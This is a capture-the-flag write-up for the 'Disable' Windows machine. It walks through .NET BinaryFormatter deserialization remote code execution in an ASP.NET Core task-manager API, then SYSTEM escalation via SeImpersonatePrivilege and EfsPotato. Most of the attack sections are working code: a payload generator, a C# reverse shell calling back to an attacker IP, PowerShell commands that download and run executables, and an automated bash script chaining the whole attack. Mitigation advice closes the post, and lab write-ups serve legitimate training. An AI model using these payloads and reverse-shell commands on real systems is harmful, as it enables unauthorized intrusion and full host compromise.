Disable - HC Writeup

2026-02-15·9 min read·
ctfinsecure-deserializationaspnet-corewindowsprivilege-escalation

Target Information

  • IP Address: 172.16.12.108
  • Difficulty: Medium
  • Tags: Insecure Deserialization, ASP.NET Core, Windows, SeImpersonatePrivilege, EfsPotato, BinaryFormatter

Reconnaissance

Port Scanning

Initial scan using nmap:

$bash
nmap -sC -sV -p- -vvv -oA nmap 172.16.12.108

Results:

$code
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services

Important information:

  • Hostname: EC2AMAZ-L3PHV4D
  • Web server: Microsoft IIS 10.0
  • Application: ASP.NET Core Task Manager
  • Auto-redirect to /Account/Login

Web Enumeration

Discovery: Insecure Deserialization in /api/data/import

During reconnaissance, I identified a TaskManager web application running on ASP.NET Core. Exploring the API endpoints revealed a critical import functionality.

Test payload:

$http
POST /api/data/import HTTP/1.1
Host: 172.16.12.108
Content-Type: application/json
 
{
  "serializedData": "test"
}

Response:

$json
{
  "message": "Error deserializing data",
  "error": "Invalid Base64 string"
}

Vulnerability confirmed! The endpoint accepts serialized data and attempts deserialization without validation.


Source Code Disclosure (if applicable)

Through source code analysis (obtained via code review), I extracted the vulnerable implementation:

$http
POST /api/data/import HTTP/1.1

Code analysis revealed:

$csharp
[HttpPost("data/import")]
public IActionResult ImportData([FromBody] string serializedData)
{
    var formatter = new Services.BinarySerializer();
    var bytes = Convert.FromBase64String(serializedData ?? string.Empty);
 
    using (var stream = new MemoryStream(bytes))
    {
        var data = formatter.Deserialize(stream);  // VULNERABLE!
        return Ok(new {
            message = "Data imported successfully",
            type = data.GetType().Name
        });
    }
}

Critical findings:

  • Custom BinarySerializer implementation
  • No type validation or whitelist
  • Accepts any serialized type
  • Direct deserialization of untrusted data

Gadget chain discovered:

$csharp
[Serializable]
public class BackgroundWorker : ISerializable
{
    protected BackgroundWorker(SerializationInfo info, StreamingContext context)
    {
        _script = info.GetString("Script") ?? string.Empty;
        RunScript(_script);  // Command execution in constructor!
    }
 
    private void RunScript(string script)
    {
        var processInfo = new ProcessStartInfo
        {
            FileName = "cmd.exe",
            Arguments = $"/c {script}",  // RCE!
            UseShellExecute = false,
            RedirectStandardOutput = true,
            RedirectStandardError = true
        };
        Process.Start(processInfo);
    }
}

Exploitation path: The BackgroundWorker class executes arbitrary commands during deserialization!


Exploitation: Remote Code Execution

.NET Deserialization Attack

To exploit the insecure deserialization vulnerability, I created a malicious payload that serializes the BackgroundWorker gadget.

Payload generator (C#):

$csharp
// Exploit/Program.cs
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using TaskManager.Models;
 
class Program
{
    static void Main(string[] args)
    {
        var command = args.Length > 0 ? args[0] : "whoami";
        var payload = new BackgroundWorker(command);
 
        var formatter = new BinaryFormatter();
        using var ms = new MemoryStream();
        formatter.Serialize(ms, payload);
 
        Console.WriteLine(Convert.ToBase64String(ms.ToArray()));
    }
}

Complete request:

$bash
# Generate payload
dotnet run -- "whoami"
 
# Send exploit
curl -X POST http://172.16.12.108/api/data/import \
  -H "Content-Type: application/json" \
  -d '{"serializedData":"AAEAAAD/////AQAAAAAAAAAMAgAAAF..."}'

Listener:

$bash
nc -lvnp 4444

Initial RCE confirmed! The server executed the whoami command, confirming code execution as IIS APPPOOL\taskmanager.


Post-Exploitation: Reverse Shell

Deploying Interactive Shell

To gain a stable foothold, I deployed a custom C# reverse shell.

Shell payload (shell.cs):

$csharp
using System;
using System.Net.Sockets;
using System.Diagnostics;
using System.IO;
 
class P{
    static void Main(){
        using(var c=new TcpClient("10.0.35.83",4444)){
            using(var s=c.GetStream()){
                var p=new Process();
                p.StartInfo.FileName="cmd.exe";
                p.StartInfo.RedirectStandardInput=true;
                p.StartInfo.RedirectStandardOutput=true;
                p.StartInfo.RedirectStandardError=true;
                p.StartInfo.UseShellExecute=false;
                p.Start();
 
                var sw=new StreamWriter(s){AutoFlush=true};
                var sr=new StreamReader(s);
 
                p.OutputDataReceived+=(o,e)=>{
                    if(e.Data!=null)sw.WriteLine(e.Data);
                };
                p.ErrorDataReceived+=(o,e)=>{
                    if(e.Data!=null)sw.WriteLine(e.Data);
                };
 
                p.BeginOutputReadLine();
                p.BeginErrorReadLine();
 
                while(!p.HasExited){
                    var cmd=sr.ReadLine();
                    if(cmd!=null)p.StandardInput.WriteLine(cmd);
                }
            }
        }
    }
}

Deployment steps:

  1. Compile shell locally:
$bash
csc /target:exe /out:shell.exe shell.cs
  1. Host via HTTP:
$bash
python3 -m http.server 8000
  1. Deploy via deserialization:
$bash
# Generate payload
dotnet run -- "powershell -c \"iwr -uri http://10.0.35.83:8000/shell.exe -outfile C:\\Windows\\Temp\\s.exe; C:\\Windows\\Temp\\s.exe\""
 
# Send exploit
curl -X POST http://172.16.12.108/api/data/import \
  -H "Content-Type: application/json" \
  -d "{\"serializedData\":\"<base64-payload>\"}"

Reverse shell obtained!

$code
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.35.83] from (UNKNOWN) [172.16.12.108] 49712

C:\inetpub\wwwroot\TaskManager> whoami
iis apppool\taskmanager

C:\inetpub\wwwroot\TaskManager> hostname
EC2AMAZ-L3PHV4D

Privilege Escalation: SeImpersonatePrivilege Abuse

Permission Enumeration

$bash
whoami /priv

Discovered permissions:

$code
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== ========
SeImpersonatePrivilege        Impersonate a client after... Enabled
SeCreateGlobalPrivilege       Create global objects         Enabled
SeIncreaseWorkingSetPrivilege Increase a process working... Disabled

Critical finding identified! SeImpersonatePrivilege is enabled - this allows for "Potato" style privilege escalation attacks.


EfsPotato Exploitation

EfsPotato exploits the MS-EFSR (Encrypting File System Remote Protocol) to abuse SeImpersonatePrivilege and obtain SYSTEM access. This technique bypasses CVE-2021-36942 patches by using alternative named pipes.

Steps:

  1. Compile EfsPotato:
$bash
# On attacker machine
csc /out:EfsPotato.exe EfsPotato.cs
  1. Upload to target:
$powershell
powershell -c "iwr -uri http://10.0.35.83:8000/EfsPotato.exe -outfile C:\Windows\Temp\efs.exe"
  1. Prepare SYSTEM shell:
$bash
# Start new listener
nc -lvnp 5555
  1. Execute EfsPotato:
$cmd
C:\Windows\Temp\efs.exe "powershell -c iwr http://10.0.35.83:8000/shell.exe -outfile C:\Windows\Temp\root.exe; C:\Windows\Temp\root.exe"

Confirmation:

$code
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege)
[+] Current user: IIS APPPOOL\taskmanager
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=...)
[+] Get Token: ...
[!] process with pid: 4532 created.

SYSTEM shell received:

$bash
nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.0.35.83] from (UNKNOWN) [172.16.12.108] 49823
 
C:\Windows\system32> whoami
nt authority\system
 
C:\Windows\system32> hostname
EC2AMAZ-L3PHV4D

ROOT OBTAINED! Successfully escalated from IIS application pool to NT AUTHORITY\SYSTEM.


Attack Chain Summary

$code
1. Port Scanning (nmap)
   ↓
2. Web Application Discovery (ASP.NET TaskManager)
   ↓
3. API Endpoint Analysis (/api/data/import)
   ↓
4. Source Code Review (Insecure Deserialization)
   ↓
5. Gadget Chain Identification (BackgroundWorker)
   ↓
6. RCE via Deserialization
   ↓
7. Reverse Shell Deployment (C# shell)
   ↓
8. Initial Access (IIS APPPOOL\taskmanager)
   ↓
9. Privilege Enumeration (SeImpersonatePrivilege)
   ↓
10. EfsPotato Exploitation
   ↓
11. SYSTEM Access (NT AUTHORITY\SYSTEM)

Vulnerabilities Summary

  1. Insecure Deserialization CWE-502 Critical

    • Custom BinarySerializer accepts untrusted data without type validation
    • No whitelist of allowed types for deserialization
    • Gadget chain available in application code (BackgroundWorker)
    • Direct command execution in deserialization constructor
  2. Insufficient Access Controls CWE-284 High

    • IIS application pool runs with SeImpersonatePrivilege
    • No restriction on spawning child processes from web context
    • Allows privilege escalation from web user to SYSTEM
  3. Unpatched MS-EFSR Vulnerability CVE-2021-36942 bypass High

    • EfsPotato technique still functional
    • Alternative named pipes allow bypass of original patch
    • Enables token impersonation attacks

Technical Analysis (Optional)

.NET Deserialization Vulnerability Breakdown

Technology: ASP.NET Core 6.0 with custom BinarySerializer

Vulnerable code pattern:

$csharp
// Vulnerable: No type validation
public object Deserialize(Stream stream)
{
    using var reader = new BinaryReader(stream);
    var typeName = reader.ReadString();
    var type = Type.GetType(typeName);  // Accepts ANY type!
 
    // Invokes ISerializable constructor
    var constructor = type.GetConstructor(
        BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance,
        null,
        new[] { typeof(SerializationInfo), typeof(StreamingContext) },
        null
    );
 
    return constructor.Invoke(new object[] { info, context });
}

Exploitation chain:

  1. Attacker creates malicious BackgroundWorker instance with command
  2. Serializes object using BinaryFormatter
  3. Encodes payload as Base64
  4. Sends payload to /api/data/import endpoint
  5. Server deserializes without validation
  6. BackgroundWorker constructor executes during deserialization
  7. Command runs in context of IIS application pool
  8. Reverse shell connects back to attacker

Why this works:

  • BinarySerializer invokes ISerializable constructors during deserialization
  • No validation occurs before type instantiation
  • BackgroundWorker executes code in its constructor
  • Constructor runs with privileges of web application (IIS APPPOOL)

Mitigation Recommendations

Application Level

  1. Fix Insecure Deserialization:
    • Never deserialize untrusted data with BinaryFormatter
    • Implement strict type whitelisting
$csharp
//  Secure implementation
private static readonly HashSet<string> AllowedTypes = new() {
    "TaskManager.Models.SessionData",
    "TaskManager.Models.TaskItem"
};
 
public object Deserialize(Stream stream) {
    var typeName = reader.ReadString();
 
    // Validate type before deserializing
    if (!AllowedTypes.Contains(typeName)) {
        throw new SecurityException($"Type not allowed: {typeName}");
    }
 
    // Additional security: Use JSON instead
    // return JsonSerializer.Deserialize(stream, allowedType);
}
  1. Implement Input Validation:
    • Validate all API inputs
    • Use Data Transfer Objects (DTOs)
    • Never trust client-supplied data
$csharp
//  Secure alternative
[HttpPost("data/import")]
public IActionResult ImportData([FromBody] ImportRequest request)
{
    if (!ModelState.IsValid)
        return BadRequest();
 
    // Use JSON deserialization with known types
    var data = JsonSerializer.Deserialize<TaskData>(request.JsonData);
    return Ok(data);
}

System Level

  1. Fix SeImpersonatePrivilege:
    • Remove unnecessary privileges from service accounts
    • Run IIS application pools with minimal permissions
$powershell
# Remove SeImpersonatePrivilege from application pool
Import-Module WebAdministration
$pool = Get-Item "IIS:\AppPools\TaskManager"
$pool.processModel.identityType = "ApplicationPoolIdentity"
# Configure with least privilege
  1. Apply Security Patches:
    • Install MS-EFSR patches (CVE-2021-36942)
    • Disable unnecessary RPC protocols
    • Keep Windows Server updated
$powershell
# Disable MS-EFSR RPC interface
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v DisableEfsRpc /t REG_DWORD /d 1 /f
  1. Implement Security Controls:
    • AppLocker/WDAC to prevent unauthorized execution
    • Network segmentation between web tier and sensitive resources
    • EDR/AV with behavioral detection
$powershell
# Enable AppLocker for application pool
New-AppLockerPolicy -RuleType Path -Path "C:\Windows\Temp\*" -Action Deny
  1. Monitoring and Logging:
    • Enable detailed logging for deserialization attempts
    • Alert on process spawning from IIS worker processes
    • Monitor for Potato-style exploits (pipe creation, RPC calls)
$xml
<!-- Add to Web.config -->
<system.diagnostics>
  <sources>
    <source name="System.Runtime.Serialization" switchValue="Warning">
      <listeners>
        <add name="SecurityLog" />
      </listeners>
    </source>
  </sources>
</system.diagnostics>

Tools Used


Proof of Concept Scripts (Optional)

Exploitation Script

$csharp
#!/usr/bin/env dotnet fsi
// DeserializationExploit.csx
#r "nuget: System.Runtime.Serialization.Formatters"
 
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
 
[Serializable]
public class BackgroundWorker : ISerializable
{
    private string _script;
 
    public BackgroundWorker(string command)
    {
        _script = command;
    }
 
    protected BackgroundWorker(SerializationInfo info, StreamingContext context)
    {
        _script = info.GetString("Script");
        System.Diagnostics.Process.Start("cmd.exe", $"/c {_script}");
    }
 
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.AddValue("Script", _script);
    }
}
 
// Usage
var command = Args.Length > 0 ? Args[0] : "calc.exe";
var payload = new BackgroundWorker(command);
 
var formatter = new BinaryFormatter();
using var ms = new MemoryStream();
formatter.Serialize(ms, payload);
 
Console.WriteLine(Convert.ToBase64String(ms.ToArray()));

Automation Script

$bash
#!/bin/bash
# full_exploit.sh
 
TARGET="172.16.12.108"
LHOST="10.0.35.83"
LPORT="4444"
 
echo "[*] Compiling shell..."
csc /target:exe /out:shell.exe shell.cs
 
echo "[*] Starting HTTP server..."
python3 -m http.server 8000 &
HTTP_PID=$!
 
echo "[*] Starting listener..."
nc -lvnp $LPORT &
NC_PID=$!
 
echo "[*] Generating payload..."
PAYLOAD=$(dotnet fsi DeserializationExploit.csx "powershell -c iwr http://$LHOST:8000/shell.exe -outfile C:\\Windows\\Temp\\s.exe; C:\\Windows\\Temp\\s.exe")
 
echo "[*] Sending exploit..."
curl -X POST "http://$TARGET/api/data/import" \
  -H "Content-Type: application/json" \
  -d "{\"serializedData\":\"$PAYLOAD\"}"
 
echo "[*] Shell should connect shortly..."
wait $NC_PID
 
# Cleanup
kill $HTTP_PID

Flags (Optional)

$code
User Flag: C:\Users\Administrator\Desktop\user.txt
Root Flag: C:\Users\Administrator\Desktop\root.txt

References

.NET Deserialization

Windows Privilege Escalation


Author: cbxcvl Date: February 15, 2026 Machine: Disable Platform: HackingClub CTF